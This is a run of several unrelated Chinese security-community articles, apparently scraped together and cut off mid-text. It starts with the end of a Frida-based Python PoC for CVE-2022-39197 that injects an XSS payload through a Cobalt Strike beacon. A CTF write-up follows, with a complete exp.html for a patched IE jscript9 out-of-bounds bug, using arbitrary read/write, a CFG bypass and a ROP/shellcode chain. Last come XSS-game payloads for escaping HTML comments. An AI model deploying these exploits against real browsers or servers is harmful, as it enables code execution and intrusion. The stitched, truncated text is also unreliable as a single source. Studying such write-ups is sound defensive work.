this.szExeFile=this.info.add(0x24);
// console.log(this.szExeFile);
},
onLeave: function(retval) {
if(Memory.readAnsiString(this.szExeFile) == 'artifact.exe')//当进程名称为artifact时修改其名称，根据实际情况替换成其他
{
Memory.writeByteArray(ptr(this.szExeFile), payload)
console.log("find artifact.exe write payload")
}
//console.log(Memory.readAnsiString(this.szExeFile));
}
});
'''
script = session.create_script(js)
script.load()
# resume
frida.resume(pid)
print('[+] Let\'s wait for 10 seconds to ensure the payload sent!')
# wait for 10 seconds
time.sleep(1000)
# kill
frida.kill(pid)
print('[+] Done! Killed trojan process.')
exit(0)
def showbanner():
# Thanks http://patorjk.com/ for creating this awesome banner
banner = ''' $$$$$$\ $$\ $$\ $$\ $$$$$$$$\ $$\
$$ __$$\ $$ | $$ | $$ | $$ _____|\__|
$$ / \__| $$$$$$\ $$$$$$$\ $$$$$$\ $$ |$$$$$$\ $$ | $$\ $$$$$$\ $$$$$$\
$$ | $$ __$$\ $$ __$$\ \____$$\ $$ |\_$$ _| $$$$$\ $$ |$$ __$$\ $$ __$$\
$$ | $$ / $$ |$$ | $$ | $$$$$$$ |$$ | $$ | $$ __| $$ |$$ | \__|$$$$$$$$ |
$$ | $$\ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ ____|
\$$$$$$ |\$$$$$$ |$$$$$$$ |\$$$$$$$ |$$ | \$$$$ |$$ | $$ |$$ | \$$$$$$$\
\______/ \______/ \_______/ \_______|\__| \____/ \__| \__|\__| \_______|
CVE-2022-39197 PoC by @TomAPU
'''
print(banner)
parser = argparse.ArgumentParser(description='''This is a PoC for CVE-2022-39197, allowing to disclose CobaltStrike users' IP addresses by an exploit of XSS.(Well, clearly I haven't figure out how to trigger an RCE).
WARNING: This tool works by executing the trojan generated by CobaltStrike and hooking GetUserNameA to add XSS payload to beat the server. So, please, execute it in a virtual machine!
Currently, this POC only supports X86 exe payloads, and of course, works on Windows.
''')
parser.add_argument('-t', '--target', help='target trojan sample', required=False)
parser.add_argument('-u', '--url',
help='URL for server to load as img, considering the limit of length, it should be less than 20 bytes',
required=False)
if __name__ == '__main__':
showbanner()
args = parser.parse_args()
if args.target and args.url:
if len(args.url) > 20:
print('[-] URL should be shorter than 20 bytes :(')
exit(-1)
spoof_user_name(args.target, args.url)
else:
parser.print_help()
然后执行利用（我去 _**_ 的），不慌，仔细看一下发现原因，原来是我在本机用的java11编译的，而我这个C2的主机是java8的
so，本地再用java8重新编译并打jar包，然后再来（这块我又弄了1个小时左右，最后一直版本的报错，最后搞明白了，不知道哪出存在坑爹的缓存，其中我把http服务重开也还是那样，最后把jar包改名，然后把svg的连接中的jar包名也改成新的才成功，真的烦这种浪费时间的bug）
* * *
## 附录
### 1\. getElementsByTagNameNS详解
> getElementsByTagNameNS来获取指定命名空间并且为指定名称的元素
这里不光是讲解`getElementsByTagNameNS`函数，也来体会一下在java中对xml文档（svg本质也是xml文档）操作的具体实例，首先我们这里还是拿JS.svg举例
**JS.svg**
<?xml version="1.0" standalone="no"?>
<svg t="1667468954142" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="2487" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<script>
alert(1);
</script>
</svg>
然后我们通过以下代码来获取一下`节点`（java操作xml需要导入xml-apis的jar包），注意这里我们先用`getElementsByTagName`函数，跟`getElementsByTagNameNS`函数类似，`getElementsByTagName`用来获取指定名称的的元素（它不考虑命名空间）
// 创建解析器工厂
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder db = factory.newDocumentBuilder();
// 创建一个Document对象 设置XML位置
Document doc = db.parse("src/test.svg");
//获取xml中script节点
NodeList modelList = doc.getElementsByTagName("script");
//输出节点长度
System.out.println(modelList.getLength());
//输出节点索引为0的节点对象
System.out.println(modelList.item(0));
//输出节点索引为0的节点对象的文本内容
System.out.println(modelList.item(0).getTextContent());
结果如下所示
上方的代码通过getElementsByTagName函数来获取指定名称的节点对象列表，那下面来正式介绍`getElementsByTagNameNS`，它的作用我们之前说过，获取指定命名空间并且为指定名称的元素，那么什么是命名空间呢？如下图所示，我这里起了两个名称，一个是默认命名空间，一个是别名命名空间
**默认命名空间**
默认命名空间很简单，如下图我的`svg`父节点的默认命名空间为一个值，那么它所有子节点都默认带上了它父节点的默认命名空间
如下代码所示，我们会发现这里获取到的节点列表的长度为0，也就是说这个节点列表里面的元素一个都没有，这个时候取出元素必然是空啊，那这是怎么回事？其实上方的说法并没有错误，要点就在我注释的这个代码里`factory.setNamespaceAware(true);`，java中该函数的默认情况下是false，在我们读取xml的时候会自动忽略掉命名空间，所以我们要将其改为true
如下图当修改后，成功返回了相应的节点
**别名命名空间：**
别名命名空间和默认命名空间不通，正常的子节点不会带上别名命名空间，必须要用别名去声明子节点才会生效，如下图所示，一目了然
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" p-id="2487" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<!--这里带上了父节点命名空间的别名-->
<xlink:script>
alert(1);
</xlink:script>
</svg>
成功获取到节点
* * *
### 2\. URL详解
首先在之前我说`DocumentJarClassLoader`其实就是URLClassLoader的封装，而它的第一个参数才是远程jar包的url地址
为什么这么说呢，我们点进DocumentJarClassLoader类就一目了然，图中可以看到它继承`URLClassLoader`，而URLClassLoader的构造器的参数为，URL类型的数组，所以这里在代码第一行将`jarURL`封装成一个URL类型数组，并且用`super`函数，调用父类构造器，而它的第二个参数`documentURL`则被用来设置documentCodeSource的值，所以这里的jar包地址取决于第一个参数，往前推这个参数也就是`new
URL(purl.toString())`
ok，接下来我们来看`purl`对象，它在实例化的时候同样传了两个参数，那么`purl.toString()`的值到底取决于哪个参数呢？
我们实验一下即可，很明显它取决于第二个参数，所以往回推，上图中的`href`决定了远程jar包的地址，而href又是来自于svg文件中的`xlink:href`属性 | 社区文章 |
# 强网杯2020决赛RealWord的IE浏览器漏洞挖掘——PiAno(PA)
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00前言
最近在学浏览器方面的漏洞挖掘，就从强网杯的这道PiAno(PA)来分享一下我个人的收获与总结
**题目信息：**
**题目名称：** PiAno
**旗帜名称：** PA
**题目描述：**
附件中提供了一个Win10虚拟机，虚拟机中存在一个patch过jscript9.dll的IE浏览器，挖掘并利用程序漏洞，实现任意代码执行，在靶机中弹出计算器程序。
**靶机环境：** Win10 虚拟机。
**附件信息：** Win10 虚拟机（与靶机一致）。
**展示环境拓扑：** 交换机连接选手攻击机和展示机，展示机使用VMware（最新版）运行靶机，靶机通过NAT方式连接到网络。
验证过程：选手携带自己的攻击机上台展示题解，操作人员使用虚拟机中的IE浏览器访问选手的提供的页面。在规定的时间内，在靶机中弹出计算器程序判定为题解正确。
**注意事项：** 上台展示题解的时候注意关闭exp的调试信息。
## 0x01 挖掘过程
### 找到patch点
从题目描述得知，被patch的文件是IE浏览器的jscript9.dll这个动态库，该库是IE浏览器的JS引擎，因此可以知道漏洞点出在JS上，并且靠JS来实现利用。IE浏览器分32位和64位，我们需要先确定是哪个版本的jscript9.dll被patch了，首先进入题目的虚拟机，查看64位下的jscript9.dll文件的版本，发现版本为11.0.19041.508，正好我本机的IE浏览器的jscript9.dll文件也是这个版本
通过Fairdell
HexCmp2文件差异对比，发现64位jscript9.dll没有被patch，32位的jscript9.dll被patch了，差异点如下
Different between:
First file: "C:\Users\Administrator\Desktop\realword\jscript9.dll"
Second file: "C:\Users\Administrator\Desktop\realword\jscript9_after.dll"
Shift: 0
------------------------------------------------------------------------
First file: "C:\Users\Administrator\Desktop\realword\jscript9.dll"
Second file: "C:\Users\Administrator\Desktop\realword\jscript9_after.dll"
Shift: 0
Shift: 0
------------------------------------------------------------------------
000DFE00 | 0F 83 C9 | 000DFE00 | 90 90 90 |
000DFE08 | 00 00 00 | 000DFE08 | 90 90 90 |
000DFE10 | 3F | 000DFE10 | 06 |
000DFE18 | 72 | 000DFE18 | EB |
------------------------------------------------------------------------ 000DFE88 | E8 EB 69 04 00 | 000DFE88 | 90 90 90 90 90 |
------------------------------------------------------------------------
### 分析patch点
微软为开发者提供了自家产品的符号文件，我们可以用32位的windbg目录下的symchk程序单独下载dll的符号，得到一个pdb文件
symchk.exe jscript9.dll /s SRV*c:\symbols\*http://msdl.microsoft.com/download/symbols
我们将jscript9.dll以及jscript9_patched.dll用IDA分析，然后将符号文件导入IDA后，跳转到差异处进行分析，该patch位于Js::JavascriptNativeIntArray::SetItem函数中，可以知道该漏洞与Js::JavascriptNativeIntArray有关，也就是js里的整数型数组有问题。
发现有些指令直接被nop了，查看伪代码
再查看一下未patch前的代码
对比可以发现，在setItem操作中，patch掉了对数组下标的大小进行正向越界检查，index为无符号数,通过`index -*v7`计算数组的下标，然后`v7[v8+4] = v6`可以越界写int数据
### 实现任意地址读写
通过上面的分析可以知道，在这个js引擎中，整数数组已经具有了任意地址`写`的能力，但是还不具有任意地址`读`的能力。为此，我们先利用任意地址写的能力，修改intarray自身的头部的几个用于表示该数组长度范围的成员变量为-1，从而使得该intarray具有任意地址读的能力。IE9之后使用的是Chakra引擎，从代码仓库可以找到该引擎的源码，从而可以得到JavascriptNativeIntArray的结构，由于源码过于复杂，不容易分析出其成员变量的分布，因此我们直接用windbg进行动态调试，确定需要修改的相关变量的位置。
首先写上测试用的html页面，启动32位IE浏览器，打开这个页面，当弹出对话框时，使用windbg attach到进程上
<!DOCTYPE html>
<html>
<body>
<script>
var vuln = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20];
alert("ready to go!");
vuln[0x66] = 1;
</script>
</body>
</html>
接下来利用`bp jscript9.dll基址+0xE09FA`在此处设置断点后继续运行
断点断下来后，可以看到ecx正是我们的数组下标·`0x66`，并且`edi+0x10`处正是intarray对象的数组数据区起始位置
查看其前方的数据，可以发现有几个数据与我们的数组长度相当,我们将其全部改为`0xFFFFFFFF`以后发现该对象就能够进行任意地址读了。
//修改自身的size，实现任意地址读写
vuln[0x3ffffffe] = -1;
vuln[0x3ffffffd] = -1;
vuln[0x3ffffff6] = -1;
具有任意地址读写以后，就是常规的利用了。
### 泄露地址
我们也看到，数据区前方就有jscript9.dll里的指针，进一步分析还可以知道这是一个虚表地址。
因此直接越界读，泄露虚表地址得到jscript9.dll的地址，进而得到其他函数的地址
//泄露vtable地址
var vtable_addr = vuln[0x3ffffff2];
var jscript9_base = vtable_addr - 0x37e8;
var LoadLibraryExA_ptr = jscript9_base + 0x37600C;
var GetProcAddress_ptr = jscript9_base + 0x3761A8;
var VirtualProtect_ptr = jscript9_base + 0x376110;
var RtlCaptureContext_ptr = jscript9_base + 0x376488;
var pop_esp = jscript9_base + 0x774ff;
var mov_esp_ebx = jscript9_base + 0x23721a;
var add_esp = jscript9_base + 0x270d5c;
var base = vuln[0x3ffffff8] + 0x10;
//alert("jscript9_base="+jscript9_base.toString(16));
//alert("base="+base.toString(16));
//4字节地址对齐的任意地址读
function arb_read(addr) {
var offset = addr - base;
if (offset < 0) {
offset = (0x100000000 + offset) / 4;
} else {
offset = offset / 4;
}
return vuln[offset];
}
function packInt(value) {
if (value > 0x80000000) {
value = value - 0x100000000;
}
return value;
}
var LoadLibraryExA_addr = arb_read(LoadLibraryExA_ptr);
var GetProcAddress_addr = arb_read(GetProcAddress_ptr);
var VirtualProtect_addr = arb_read(VirtualProtect_ptr);
var RtlCaptureContext_addr = arb_read(RtlCaptureContext_ptr);
现在就是劫持程序流了，该模块开启了CFG机制，因此不能将虚表里的函数劫持为gadgets，只能劫持为一个完整的函数。
### CFG绕过
绕过的方法是先将虚表里的函数劫持为某些对我们利用有帮助的函数，然后进行后续的其他方法利用。
`RtlCaptureContext`是一个非常有用的函数，其位于ntdll.dll模块里，这里我们已经通过IAT表泄露出了它的地址，该函数可以`将当前的所有寄存器值保存到参数给定的内存空间里`
.text:4B307260 public RtlCaptureContext
.text:4B307260 RtlCaptureContext proc near ; CODE XREF: sub_4B2F38E6+A↑p
.text:4B307260 ; RtlRaiseException+B↓p ...
.text:4B307260
.text:4B307260 var_4 = dword ptr -4
.text:4B307260 ContextRecord = dword ptr 4
.text:4B307260
.text:4B307260 push ebx
.text:4B307261 mov ebx, [esp+4+ContextRecord]
.text:4B307265 mov [ebx+0B0h], eax
.text:4B30726B mov [ebx+0ACh], ecx
.text:4B307271 mov [ebx+0A8h], edx
.text:4B307277 mov eax, [esp+4+var_4]
.text:4B30727A mov [ebx+0A4h], eax
.text:4B307280 mov [ebx+0A0h], esi
.text:4B307286 mov [ebx+9Ch], edi
.text:4B30728C jmp short loc_4B3072D1
.text:4B30728C RtlCaptureContext endp
.text:4B3072D1 loc_4B3072D1: ; CODE XREF: RtlCaptureContext+2C↑j
.text:4B3072D1 mov word ptr [ebx+0BCh], cs
.text:4B3072D7 mov word ptr [ebx+98h], ds
.text:4B3072DD mov word ptr [ebx+94h], es
.text:4B3072E3 mov word ptr [ebx+90h], fs
.text:4B3072E9 mov word ptr [ebx+8Ch], gs
.text:4B3072EF mov word ptr [ebx+0C8h], ss
.text:4B3072F5 pushf
.text:4B3072F6 pop dword ptr [ebx+0C0h]
.text:4B3072FC mov eax, [ebp+4]
.text:4B3072FF mov [ebx+0B8h], eax
.text:4B307305 mov eax, [ebp+0]
.text:4B307308 mov [ebx+0B4h], eax
.text:4B30730E lea eax, [ebp+8]
.text:4B307311 mov [ebx+0C4h], eax
.text:4B307317 mov dword ptr [ebx], 10007h
.text:4B30731D pop ebx
.text:4B30731E retn 4
利用这一点，我们可以读出栈地址，然后可以利用任意地址读写的能力去劫持栈。
通过观察，发现劫持虚表里的hasItem函数比较可靠，因为只有一个参数，正好可以给我们用于传递地址参数，由于虚表是只读的，因此我们直接伪造一个虚表，在对应位置伪造hasItem函数指针
//伪造该对象的虚表，从而leak出寄存器地址
var leak = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20];
leak[0x3ffffffe] = -1;
leak[0x3ffffffd] = -1;
leak[0x3ffffff6] = -1;
var fake_vtable_addr = leak[0x3ffffff8] + 0x10;
leak[31] = packInt(RtlCaptureContext_addr); //伪造hasItem函数指针
//修改leak的虚表指针
leak[0x3ffffff2] = fake_vtable_addr;
要触发hasItem的调用，只需要利用数组对象的in语句
//调用hasItem，结果存放于base地址处
var x = (base in leak);
var stack_addr = arb_read(base + 0xB4);
### 劫持栈做ROP
由于是数组对象的任意地址读写，我们如果直接用下标的方式去写，每次只能写4个字节数据，而劫持栈是需要一次性将ROP全部写到栈里去的，于是，我们发现了另一个函数`Js::JavascriptArray::EntryPush`，该函数会循环的将参数里的数组数据依次push到当前被调用的数组对象里
因此，我们可以劫持Js::JavascriptArray::EntryPush的栈返回地址，当循环执行完成时，ROP需要的数据都已写到栈里，当Js::JavascriptArray::EntryPush执行ret时便能执行ROP链。
### 完整利用exp.html
<!DOCTYPE html>
<html>
<body>
<script>
var vuln = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20];
//修改自身的size，实现任意地址读写
vuln[0x3ffffffe] = -1;
vuln[0x3ffffffd] = -1;
vuln[0x3ffffff6] = -1;
//泄露vtable地址
var vtable_addr = vuln[0x3ffffff2];
var jscript9_base = vtable_addr - 0x37e8;
var LoadLibraryExA_ptr = jscript9_base + 0x37600C;
var GetProcAddress_ptr = jscript9_base + 0x3761A8;
var VirtualProtect_ptr = jscript9_base + 0x376110;
var RtlCaptureContext_ptr = jscript9_base + 0x376488;
var pop_esp = jscript9_base + 0x774ff;
var mov_esp_ebx = jscript9_base + 0x23721a;
var add_esp = jscript9_base + 0x270d5c;
var base = vuln[0x3ffffff8] + 0x10;
//alert("jscript9_base="+jscript9_base.toString(16));
//alert("base="+base.toString(16));
//4字节地址对齐的任意地址读
function arb_read(addr) {
var offset = addr - base;
if (offset < 0) {
offset = (0x100000000 + offset) / 4;
} else {
offset = offset / 4;
}
return vuln[offset];
}
function packInt(value) {
if (value > 0x80000000) {
value = value - 0x100000000;
}
return value;
}
var LoadLibraryExA_addr = arb_read(LoadLibraryExA_ptr);
var GetProcAddress_addr = arb_read(GetProcAddress_ptr);
var VirtualProtect_addr = arb_read(VirtualProtect_ptr);
var RtlCaptureContext_addr = arb_read(RtlCaptureContext_ptr);
//alert("LoadLibraryExA_addr="+LoadLibraryExA_addr.toString(16));
//alert("GetProcAddress_addr="+GetProcAddress_addr.toString(16));
//alert("VirtualProtect_addr="+VirtualProtect_addr.toString(16));
//alert("RtlCaptureContext_addr="+RtlCaptureContext_addr.toString(16));
//伪造该对象的虚表，从而leak出寄存器地址
var leak = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20];
leak[0x3ffffffe] = -1;
leak[0x3ffffffd] = -1;
leak[0x3ffffff6] = -1;
var fake_vtable_addr = leak[0x3ffffff8] + 0x10;
leak[31] = packInt(RtlCaptureContext_addr); //伪造hasItem函数指针
//修改leak的虚表指针
leak[0x3ffffff2] = fake_vtable_addr;
//调用hasItem，结果存放于base地址处
var x = (base in leak);
var stack_addr = arb_read(base + 0xB4);
//劫持JavascriptArray::EntryPush函数的返回地址
var rop_addr = stack_addr - 0x190;
vuln[0] = 0x54464F53;
vuln[1] = 0x45524157;
vuln[2] = 0x63694D5C;
vuln[3] = 0x6F736F72;
vuln[4] = 0x575C7466;
vuln[5] = 0x6F646E69;
vuln[6] = 0x435C7377;
vuln[7] = 0x65727275;
vuln[8] = 0x6556746E;
vuln[9] = 0x6F697372;
vuln[10] = 0x6E495C6E;
vuln[11] = 0x6E726574;
vuln[12] = 0x53207465;
vuln[13] = 0x69747465;
vuln[14] = 0x5C73676E;
vuln[15] = 0x656E6F5A;
vuln[16] = 0x335C73;
/*ADVAPI32.dll字符串*/
vuln[17] = 0x41564441;
vuln[18] = 0x32334950;
vuln[19] = 0x6C6C642E;
vuln[20] = 0;
var buff = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20];
/*ucrtbase.dll字符串*/
buff[0] = 0x74726375;
buff[1] = 0x65736162;
buff[2] = 0x6C6C642E;
buff[3] = 0;
/*RegOpenKeyExA字符串*/
buff[4] = 0x4F676552;
buff[5] = 0x4B6E6570;
buff[6] = 0x78457965;
buff[7] = 0x41;
/*RegSetValueExA字符串*/
buff[8] = 0x53676552;
buff[9] = 0x61567465;
buff[10] = 0x4565756C;
buff[11] = 0x4178;
/*RegCloseKey字符串*/
buff[12] = 0x43676552;
buff[13] = 0x65736F6C;
buff[14] = 0x79654B;
/*system字符串*/
buff[15] = 0x74737973;
buff[16] = 0x6D65;
/*calc.exe字符串*/
buff[17] = 0x636C6163;
buff[18] = 0x6578652E;
buff[19] = 0;
buff[0x3ffffffe] = -1;
buff[0x3ffffffd] = -1;
buff[0x3ffffff6] = -1;
var strs_base = buff[0x3ffffff8] + 0x10;
//修改vuln的index，然后利用push可以一次性写入多个值
vuln[0x3ffffff6] = (rop_addr - base) / 4;
vuln[0x3ffffffd] = (rop_addr - base) / 4;
alert("rop_addr="+rop_addr.toString("16"));
vuln.push(packInt(VirtualProtect_addr),packInt(rop_addr+0x18),packInt(rop_addr+0x18),0x300,0x40,packInt(rop_addr),packInt(0x81e58955),0x100ec,packInt(0xfc45c700),0x3,packInt(0xff5085c7),0x3532ffff,packInt(0x85c73030),packInt(0xffffff54),0x0,0x80068,0x68006a00,packInt(base+0x44),packInt(0x85c79090),packInt(0xffffff4c),packInt(LoadLibraryExA_addr),packInt(0xff4c95ff),packInt(0x8589ffff),packInt(0xffffff48),0x68909090,packInt(strs_base+0x10),packInt(0x85c79050),packInt(0xffffff44),packInt(GetProcAddress_addr),packInt(0xff4495ff),packInt(0x8589ffff),packInt(0xffffff40),0x68909090,packInt(strs_base+0x20),packInt(0xff48b5ff),packInt(0x95ffffff),packInt(0xffffff44),packInt(0xff3c8589),0x6890ffff,packInt(strs_base+0x30),packInt(0xff48b5ff),packInt(0x95ffffff),packInt(0xffffff44),packInt(0xff388589),packInt(0x858dffff),packInt(0xffffff34),0x66850,0x6a0002,0x68909090,packInt(base),0x168,0x4095ff80,0x6affffff,packInt(0xfc458d04),0x6a046a50,0x50858d00,0x50ffffff,packInt(0xff34b5ff),packInt(0x95ffffff),packInt(0xffffff3c),packInt(0xff34b5ff),packInt(0x95ffffff),packInt(0xffffff38),0x80068,0x68006a00,packInt(strs_base),packInt(0xff4c95ff),0x6890ffff,packInt(strs_base+0x3C),0x4495ff50,0x68ffffff,packInt(strs_base+0x44),0xD0FF);
//alert("done");
</script>
</body>
</html>
## 0x02 测试
测试时需要关闭IE浏览器的保护模式，否则会由于IE浏览器的沙盒机制，系统函数调用失败
## 0x03 感想
通过本题学习了IE浏览器漏洞挖掘的一些利用手法，收获很大，RealWord还是比普通PWN有趣。
## 0x04 参考
1.如何绕过Windows 10的CFG机制<https://www.freebuf.com/articles/system/126007.html>
2.CFG防护机制的简要分析 <https://xz.aliyun.com/t/2587> | 社区文章 |
# XSS Game
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
过年期间玩了一下国外的一个 XSS GAME，收获颇丰，记录一下学习过程。本人对于 JavaScript
以及前端的理解不深，水平也不高，如果文章有疏漏之处，还请师傅们斧正。
## Introduction
所有题目的目标都是实现alert(1337)即可，有着不同的难度
## Area 51
<!-- Challenge -->
<div id="pwnme"></div>
<script>
var input = (new URL(location).searchParams.get('debug') || '').replace(/[\!\-\/\#\&\;\%]/g, '_');
var template = document.createElement('template');
template.innerHTML = input;
pwnme.innerHTML = "<!-- <p> DEBUG: " + template.outerHTML + " </p> -->";
</script>
题目源代码如上，题目代码比较简单，首先对用户传入的 debug 参数进行关键字过滤转换，对于!-/#&;%符号都会被下划线替代，然后创建一个
template 标签，标签的 HTML 内容为我们传入的内容，最后在一个 div 中，把构建好的 template 标签输出在一个注释当中。
所以我们的主要得绕过注释符的限制，由于<!–是多行注释，所以换行的思路我们基本不可行，即使没有把–过滤，JS也会在第一步template.innerHTML将我们的–>中的>进行转义。所以基本上我们可以“直接“闭合的思路是行不通的。
首先我们需要知道 HTML 解析顺序，首先先解析 HTML 部分代码，再用 JS 解释器 JS 代码，JS解释器会边解释边执行，对于 innerHTML
会使用 HTML parser 解析其中的代码。本题会利用到一些 HTML parser 的知识，建议配合 W3 文档 [The HTML
syntax](https://www.w3.org/TR/html52/syntax.html)，不想看英文的话也可以凑合凑合看看本菜之前写的 关于
HTML 编码 的水文。
## Easy Version
我们先来看看第一个简单的版本，当时由于出题者比较疏忽，并没有过滤&#;，导致了我们可以用 HTML 实体编码进行绕过，直接闭合注释进而实现 alert
，例如，在没有过滤&#;的情况，我们可以这么做：
<img title="--><svg/onload=alert()>">1
使用 HTML 编码将我们的 payload 进行编码绕过
--><svg/onload=alert()>
但是这里我们并不能直接传入 HTML 编码绕过，得需要加一个 img 标签利用其属性进行绕过，为什么呢？
因为这里其实有两次 HTML
解码的操作，第一个是template.innerHTML，第二个是pwnme.innerHTML，第一个解码操作会直接把我们传入的参数进行解码，并且对其中的<>进行转义，也就是说，实际上第一个得到的是如下内容：
--><svg/onload=alert()>
在第二步渲染的时候就自然不可能闭合注释了，只能得到如下代码：
<!-- <p> DEBUG: <template>--><svg/onload=alert()></template> </p> -->
所以当我们借助 img 属性进行绕过的时候，第一步得到的实际上是：
<img title="--><svg/onload=alert()>">1
HTML parser不会将 title 属性内的字符串进行转义，所以第二步当直接输出到页面的时候
<!-- <p> DEBUG: <template><img title="--><svg onload="alert()">">1 </svg><p></p> -->
然后当 HTML parser 解析这段代码时，首先由<!的存在，会进入[Markup declaration open
state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-markup-declaration-open-state)，中间的代码<p> DEBUG: <template><img title=”会让 HTML parser
进入一些其他关于 comment 的状态，这些都无关紧要，最后的–>让 HTML parser 进入到了[Comment End
State](https://www.w3.org/TR/html52/syntax.html%23comment-end-state)，根据 W3 文档：
8.2.4.51. Comment end state
Consume the [next input
character](https://www.w3.org/TR/html52/syntax.html%23next-input-character):
* U+003E GREATER-THAN SIGN (>)
* Switch to the [data state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-data-state). Emit the comment token.
接着我们就进入到了 [data state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-data-state)，也就是结束了注释解析状态回到了最开始的 HTML 解析状态，这样就导致我们就成功逃逸了注释符。
## Difficult Version
再过滤了实体编码&#;之后我们要怎么绕过呢？我们先给出一个 Trick ，在这里我们可以使用<?进行绕过。
可以看到我们在使用了<?之后成功把 p 标签逃逸了出来，可是为什么呢？我们可以输出第一步的template.innerHTML看看
我们可以发现在第一步渲染的时候，传入的<?已经变成了<!–?–>，存在–>可以将注释闭合。可是这是为什么呢？
在template.innerHTML = input的时候，会解析input，然后使用 HTML parser 解析，根据 W3 文档
Implementations must act as if they used the following state machine to
tokenize HTML. The state machine must start in the [data
state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-data-state).
解析到<的时候，HTML parser 正处于 [data
state](https://www.w3.org/TR/html52/syntax.html%23data-state)
8.2.4.1. Data state
Consume the [next input
character](https://www.w3.org/TR/html52/syntax.html%23next-input-character):
* U+0026 AMPERSAND (&)
* Set the [return state](https://www.w3.org/TR/html52/syntax.html%23return-state) to the [data state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-data-state). Switch to the [character reference state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-character-reference-state).
* U+003C LESS-THAN SIGN (<)
* Switch to the [tag open state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-tag-open-state).
* U+0000 NULL
* [Parse error](https://www.w3.org/TR/html52/syntax.html%23parse-errors). Emit the [current input character](https://www.w3.org/TR/html52/syntax.html%23current-input-character) as a character token.
* EOF
* Emit an end-of-file token.
* Anything else
* Emit the [current input character](https://www.w3.org/TR/html52/syntax.html%23current-input-character) as a character token.
于是进入 [tag open state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-tag-open-state)
8.2.4.6. Tag open state
Consume the [next input
character](https://www.w3.org/TR/html52/syntax.html%23next-input-character):
* U+0021 EXCLAMATION MARK (!)
* Switch to the [markup declaration open state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-markup-declaration-open-state).
* U+002F SOLIDUS (/)
* Switch to the [end tag open state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-end-tag-open-state).
* [ASCII letter](https://www.w3.org/TR/html52/infrastructure.html%23ascii-letters)
* Create a new start tag token, set its tag name to the empty string. [Reconsume](https://www.w3.org/TR/html52/syntax.html%23reconsume) in the [tag name state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-tag-name-state).
* U+003F QUESTION MARK (?)
* [Parse error](https://www.w3.org/TR/html52/syntax.html%23parse-errors). Create a comment token whose data is the empty string. [Reconsume](https://www.w3.org/TR/html52/syntax.html%23reconsume) in the [bogus comment state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-bogus-comment-state).
* Anything else
* [Parse error](https://www.w3.org/TR/html52/syntax.html%23parse-errors). Emit a U+003C LESS-THAN SIGN character token. [Reconsume](https://www.w3.org/TR/html52/syntax.html%23reconsume) in the [data state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-data-state).
下一个字符是?，根据文档，HTML parser 会创建一个空的 comment token，进入 [bogus comment
state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-bogus-comment-state)，
8.2.4.41. Bogus comment state
Consume the [next input
character](https://www.w3.org/TR/html52/syntax.html%23next-input-character):
* U+003E GREATER-THAN SIGN (>)
* Switch to the [data state](https://www.w3.org/TR/html52/syntax.html%23tokenizer-data-state). Emit the comment token.
* EOF
* Emit the comment. Emit an end-of-file token.
* U+0000 NULL
* Append a U+FFFD REPLACEMENT CHARACTER character to the comment token’s data.
* Anything else
* Append the [current input character](https://www.w3.org/TR/html52/syntax.html%23current-input-character) to the comment token’s data.
下一个字符是 anything else，会将这个字符插入到刚刚的 comment
中，也就是我们上图看到的<!–?–>，例如输入是aaa<?bbb>ccc的时候，解析到第 i 个字符时，innerHTML 的结果是这样的：
a
aa
aaa
aaa<
aaa<!--?-->
aaa<!--?b-->
aaa<!--?bb-->
aaa<!--?bbb-->
aaa<!--?bbb-->
aaa<!--?bbb-->c
aaa<!--?bbb-->cc
aaa<!--?bbb-->ccc
直到该状态遇到了>为止，回到 data state。注意这个 Bogus comment state 解析到>的时候会直接回到 data state，也就是
HTML parser 最开始解析的状态，这个时候我们就可以插入 HTML 代码了。
当我们传入<?><svg onload=alert()>时，第一步template.innerHTML我们得到的是
<!--?--><svg onload="alert()"></svg>
第二步pwnme.innerHTML我们得到的是
<!-- <p> DEBUG: <template><!--?--><svg onload="alert()"></svg> <p></p> -->
这时候 HTML parser 解析与我们在 Easy Version 分析差不多，只有遇到–>的时候结束 Comment State 相关状态回到
data state，所以我们就成功执行了 XSS。
## Keanu
<!-- Challenge -->
<number id="number" style="display:none"></number>
<div class="alert alert-primary" role="alert" id="welcome"></div>
<button id="keanu" class="btn btn-primary btn-sm" data-toggle="popover" data-content="DM @PwnFunction"
data-trigger="hover" onclick="alert(`If you solved it, DM me @PwnFunction :)`)">Solved it?</button>
<script>
/* Input */
var number = (new URL(location).searchParams.get('number') || "7")[0],
name = DOMPurify.sanitize(new URL(location).searchParams.get('name'), { SAFE_FOR_JQUERY: true });
$('number#number').html(number);
$('#welcome').html(`Welcome <b>${name || "Mr. Wick"}!</b>`);
/* Greet */
$('#keanu').popover('show')
setTimeout(_ => {
$('#keanu').popover('hide')
}, 2000)
/* Check Magic Number */
var magicNumber = Math.floor(Math.random() * 10);
var number = eval($('number#number').html());
if (magicNumber === number) {
